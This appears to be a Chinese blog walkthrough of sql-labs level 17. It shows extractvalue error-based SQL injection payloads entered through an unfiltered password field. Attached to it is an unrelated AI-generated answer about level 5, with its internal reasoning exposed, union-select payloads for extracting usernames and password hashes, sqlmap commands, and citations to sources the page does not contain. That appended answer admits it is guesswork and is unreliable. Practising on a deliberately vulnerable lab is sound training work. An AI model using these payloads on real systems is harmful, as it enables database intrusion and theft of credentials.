sql_labs第十七关

做到了sql_labs的第十七关,之前的做的关卡都是可以经过一些尝试通过的,但是这关尝试了很多东西还是没有报错注入
只有通过代码审计查看本关的注入原理了

首先是看懂这个input_check()函数
在这里插入图片描述
之后我们要看看到这个,也是本题的解题点
在这里插入图片描述
这里我们可以看到,首先进行上传数据的判断,但是$uname是通过上面的input_check函数进行了相关的过滤,所以在第一个文本框是没办法输入的,但是密码并没有进行相关的过滤。
所以本关的重点是在密码框这里。
在这里插入图片描述
可以看出在得到row变量的之后,如果不为空,代码将要使用我们的passwd替换password
所以我们本次使用的是报错注入

这里会有两个报错输入函数updatexml()和extractvaule()
这两个解释大家可以在这里看
https://blog.csdn.net/zpy1998zpy/article/details/80631036

在这里插入图片描述
第一个文本框使用的是真实的用户名
第二个代码段如图
爆破数据库名

1' and extractvalue(2,concat('^',(select database()),'^'))#

在这里插入图片描述

爆破表明

1' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'))#

之后还是按照前面几关的步骤进行爆破

<think>好的,我需要帮助用户找到SQL-Labs第5的解决方案。首先,我需要回顾用户提供的引用内容,看看是否有直接相的信息。用户提供的引用1到5主要涉及第46-50、29-31、第十一第十七等,但没有明确提到第五。不过,可能有一些通用的技巧或方法可以应用。 首先,SQL-Labs卡通常涉及不同类型的SQL注入攻击,比如联合查询、报错注入、布尔盲注、时间盲注等。第5可能属于基础卡,可能涉及GET请求的单引号注入。根据常见的卡设计,第五可能类似于前几的结构,但可能有不同的闭合方式或过滤规则。 我需要参考用户提供的引用内容中的方法,例如引用1中的ORDER BY注入,引用2中的联合查询和group_concat的使用,引用3中的POST型注入,引用4中的HTTP参数污染和WAF绕过,引用5中的sqlmap使用。虽然这些引用不直接针对第五,但可能提供通用的解题思路。 接下来,我需要构建可能的步骤:确定注入点、判断闭合方式、确定列数、联合查询获取数据。可能涉及单引号闭合,使用联合查询注入,利用报错或布尔盲注。例如,用户可能在URL中使用?id=1'进行测试,观察是否有报错,然后使用--+注释后续内容。确定列数后,联合查询获取数据库信息,如数据库名、表名、字段内容。 同时,可能需要使用sqlmap工具自动化测试,如引用5中提到的使用-r参数读取请求文件,指定数据库和表进行爆破。此外,引用4提到的HTTP参数污染可能用于绕过某些过滤,但第五可能不需要这么复杂的技巧,因为它属于早期卡。 总结,虽然没有直接的第五信息,但根据常见方法和引用中的类似步骤,可以推断出解决方案。需要确保步骤清晰,包括闭合方式判断、列数确定、联合查询构造,以及使用工具的方法。同时,提醒用户注意实际测试中的变量,如过滤规则和闭合符号的变化。</think>### SQL-Labs第5解决方案分析 SQL-Labs第5通常属于**基于GET请求的单引号字符型注入**,需要通过联合查询(Union Select)获取敏感信息。以下是详细步骤: --- #### **1. 判断注入点及闭合方式** - 输入`?id=1'`测试闭合符号: ```sql ?id=1' --+ ``` 若页面返回正常,说明闭合方式为**单引号**,且注释符`--+`成功闭合语句[^1][^4]。 --- #### **2. 确定字段数(列数)** 使用`ORDER BY`逐次测试列数: ```sql ?id=1' ORDER BY 3 --+ --页面正常 ?id=1' ORDER BY 4 --+ --页面错误 ``` 说明当前表有**3列**[^2]。 --- #### **3. 联合查询注入** 构造联合查询语句,探测回显位: ```sql ?id=-1' UNION SELECT 1,2,3 --+ ``` 若页面显示`2`或`3`,表示第2、3列为回显位[^4]。 --- #### **4. 获取数据库信息** 通过回显位提取数据库名、表名、字段数据: - **当前数据库名**: ```sql ?id=-1' UNION SELECT 1,database(),3 --+ ``` 输出示例:`security`。 - **爆表名**: ```sql ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+ ``` 输出示例:`users,emails`[^5]。 - **爆字段名**: ```sql ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+ ``` 输出示例:`id,username,password`[^2][^5]。 --- #### **5. 提取用户数据** 获取`users`表中的账户密码: ```sql ?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --+ ``` 输出示例:`admin:5f4dcc3b5aa765d61d8327deb882cf99`(即`admin:password`的MD5值)[^5]。 --- #### **6. 使用SQLMap自动化注入** 若手动注入困难,可通过SQLMap自动化操作: 1. 保存请求为`1.txt`(包含GET请求的URL和参数)。 2. 执行命令爆破数据: ```bash sqlmap -r 1.txt --dbs # 爆破数据库 sqlmap -r 1.txt -D security -T users --dump # 提取用户表数据 ``` 参考引用[5]中的参数格式。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值